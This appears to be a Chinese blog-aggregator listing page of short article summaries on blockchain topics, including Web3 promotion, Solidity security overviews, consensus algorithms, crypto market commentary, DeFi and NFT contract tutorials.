文章浏览阅读1.3k次,点赞25次,收藏13次。通过调查和分析用户需求、兴趣和行为,你可以更好地定位你的目标受众,并在市场中找到你的定位。在设计你的Web3.0项目时,注重用户界面的友好性、交互流畅性和功能的创新性,以提供独特的用户体验。通过与有影响力的人或组织进行合作,推广你的Web3.0项目。通过与他们分享你的项目并抓住他们的推荐,可以迅速获得更多的关注度。通过优化你的网站和内容,将有助于提高你的排名,并增加有机流量。通过提供奖励激励计划,如空投、奖励机制等,激励用户参与你的Web3.0项目。的人或组织合作,可以增加你的项目的曝光度。
文章浏览阅读1.7k次。这个智能合约安全系列提供了一个广泛的列表,列出了在 Solidity 智能合约中容易反复出现的问题和漏洞。Solidity 中的安全问题可以归结为智能合约的行为方式不符合它们的意图。我们不可能对所有可能出错的事情做一个全面的列表。然而,正如传统的软件工程有常见的漏洞主题,如 SQL 注入、缓冲区超限和跨网站脚本,智能合约中也有反复出现的。_solidity安全漏洞
文章浏览阅读1.3k次。本文描述了比特币核心的编译与交互方法_编译比特币
文章浏览阅读884次。四水归堂,是中国建筑艺术中的一种独特形式。这种形式下,由四面房屋围出一个天井,房屋内侧坡向天井内倾斜,下雨时雨水会从东西南北四方流入天井,从而起到收集水源,防涝护屋的作用,寓意水聚天心,天人合一。在科技产业当中,很多时候我们需要学习古人的智慧与意蕴,尝试打通各个生态,聚四方之力为我所用,这样才能为最终用户带来最大化价值。随着数字化、智能化的发展,算力成为生产力的根基。在这一大背景下,算力需要贯通软..._超聚变csdn
文章浏览阅读1k次,点赞24次,收藏19次。云计算和区块链是当代科技领域两个备受关注的核心技术。本文将深入探讨云计算和区块链的发展历程,详细剖析其起初阶段的奠基、面临的问题、业务内容、当前研究方向、用到的技术、实际应用场景、未来发展趋势,并提供相关链接供读者深入了解。
文章浏览阅读1.5k次。融入对等网络的奥妙,了解集中式、全分布式和混合式对等网络的差异,以及区块链网络的结构与协议,让你跃入区块链的连结网络。揭开密码学的神秘面纱,探寻对称密码学、非对称密码学、哈希函数、数字签名等关键技术,让你了解信息安全的核心。解码共识算法的精髓,从理论到实践,从PoW、PoS到PBFT,让你深入了解区块链如何达成共识。探索智能合约的世界,从定义到生命周期,从执行引擎到开发与部署,带你进入无限可能的合约领域。了解令人惊叹的区块链世界,从概念到价值,从发展历程到政策法规,一篇章串联出区块链的精髓。
文章浏览阅读777次。8 月份,加密货币市场经历了明显的波动,比特币价格波动幅度较大。与此同时,NFT 市场出现大幅下跌,引发了人们对这一新兴行业未来发展趋势的担忧
文章浏览阅读8.8k次,点赞53次,收藏37次。近二十年来,我国信息科技发展日益成熟,出现的网络完全问题也是“百花齐放”。而元宇宙作为5G技术、AR/VR技术、云计算以及区块链等技术的组合体,其安全性指定会被人们所广泛关注。根据前面所讲,元宇宙融合了虚拟世界和现实世界,通过数据将现实世界的各种元素映射到数字化的虚拟世界中。所以没有数据,就等于没有元宇宙的一切;没有信息安全,元宇宙的社会生产、生活就不能正常有序地进行。所以足以可见数据安全、信息安全对元宇宙发展起到的重要作用!!_元宇宙 安全计算
文章浏览阅读1.4k次。最早使用历史 1991年采用 时间戳 追溯 数字文档,之后 2009年后创始人**中本聪** (satoshi nakamoto )日裔美国人,在设计比特币数字货币中将此理念写入应用程序中_web3.0学习
文章浏览阅读1.7k次。DeFi收益来源全面概述_drfi收益
文章浏览阅读941次,点赞17次,收藏21次。号外:教链内参1.28《从BTC现货ETF的近期数据看到的》隔夜BTC经历现货ETF通过后的情绪冷静,一度破位40k后又逐渐修复至42k上方。请珍惜42k的BTC吧。也许到下个周期,我们将不再有机会见到这个高度的BTC了。下面,让我们重温,42k的BTC,在过去四年穿越牛熊的过程中,带给我们的启迪吧。需要提醒的是,历史文字,自有历史局限性,回顾,也须带着批判性的目光阅读和审视。2021年2月8日,...
文章浏览阅读1.2k次,点赞23次,收藏21次。其实一开始我也是这么想的,但根据PoW算法机制,如果你的计算量不够大,是无法控制区块链的走向的,也就是说,即使你投入了大量的成本用于完成任务,也不能保证自己成功。例如,你持有100个币,总共持有了30天,那么,此时你的币龄就为3000,这个时候,如果你发现了一个PoS区块,那么你的币龄就会被减去一定的值,每减少365个币龄,将会从区块中获得0.05个币的利息(可理解为年利率5%),那么在这个案例中,利息=3000×5%/365=0.41个币。前面说过,谁的算力强,谁最先解决问题的概率就越大。
文章浏览阅读1.9k次。这里主要实现的部分继续下去,对 Blockchain 这个对象有一些修改,如果使用 TS 的话可能要修改对应的 interface,但是如果是 JS 的话就无所谓了。需要安装的依赖有:express现在的 express 已经不内置 body-parser,需要作为单独的依赖下载request不下载会报错,是使用 request-promise 所需要的依赖和已经 deprecated 了,具体 reference 可以参考。_js区块链
文章浏览阅读1k次,点赞19次,收藏19次。作者:Zach Pandl Grayscale编译:象牙山首席村民 碳链价值以太坊在2023年取得了丰厚的回报。但表现不如比特币以及其他一些智能合约公链代币。我们认为,这反映了今年比特币特有的积极因素以及以太坊链上活动的缓慢复苏。尽管以太坊的涨幅低于比特币,但从绝对值和风险调整值来看,今年以太坊的表现优于传统资产类别。以太坊不断增长的L2生态系统的发展可能会吸引新用户,并在2024年支撑以太币的...
文章浏览阅读908次,点赞20次,收藏20次。通证是以数字形式存在,代表的是一种权利、一种固有和内在的价值。徐教授告诉我:多年的职业经历,多年的为易货贸易的思考,认识到在处理贸易和经济领域的关系时,应以提高人民生活水平、保证社会成员充分就业、保证就业成员实际收入和有效需求的大幅稳定增长、实现世界资源的充分利用以及扩大货物的生产和交换为目的,期望通过达成互惠互利安排,实行公开、公平、公正的“三公原则”,开展国家与国家、企业与企业之间的易货贸易,规避因信用问题引起的各类风险,消除国际贸易中的歧视待遇,促进全球国家的经济发展,从而为实现上述目标做出贡献。
文章浏览阅读2.5k次。由于webase文档原因,查找起来比较局限,有时候想找一个api却又忘了在哪个模块的目录下,需要一步一步单独点,而利用文档自带的检索功能又因为查找文档全部信息,显得十分缓慢,所以整理了有关WeBASE的api列表但不可否认,现在只有列表,没有对应的页面跳转,文章目的也只是为了多了解webase的接口_webase私钥管理里获取
文章浏览阅读1.4k次,点赞28次,收藏21次。基于​openzeppelin来构建我们的NFT,并用一个例子来手把手的说明如何在opensea快速发布自己的NFT智能合约(ERC721)。